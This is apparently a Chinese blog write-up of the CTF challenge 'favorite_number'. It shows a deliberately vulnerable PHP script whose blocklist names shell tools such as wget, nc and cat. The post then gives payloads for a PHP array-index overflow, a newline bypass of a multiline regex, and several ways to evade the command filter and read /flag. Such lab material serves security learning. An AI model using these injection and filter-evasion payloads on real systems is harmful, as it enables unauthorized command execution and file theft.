攻防世界favorite_number(php数组溢出+正则m绕过+Linux命令绕过)

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}

首先第一步绕过,stuff[4294967296]=admin&stuff[1]=user 这里的数组下标4294967296 会溢出变为数组0然后依次增长。

这里要主要版本,且不同于我的另一篇ctf题的数组溢出。

第二步绕过主要因为这个/m多行匹配,因此我们只要传入两行数据如下:

1

ls 

此时他会先对第⼀⾏进⾏匹配,再对第⼆⾏进⾏匹配。可以看到我们这⾥因为第⼀⾏为数字,所以肯定正确匹配。我们构造如下payload即可

num=1%0als

 第三步的绕过有多种方法。

法一:

ca``t /fla``g

法二:使⽤inode

 

法三: a=f;b=la;c=g;tac /$a$b$c

法四:

printf /fla > /tmp/hello
printf g >> /tmp/hello
tac `tac /tmp/hello`

 

posted @ 2022-10-07 20:00  hithub  阅读(149)  评论(0编辑  收藏  举报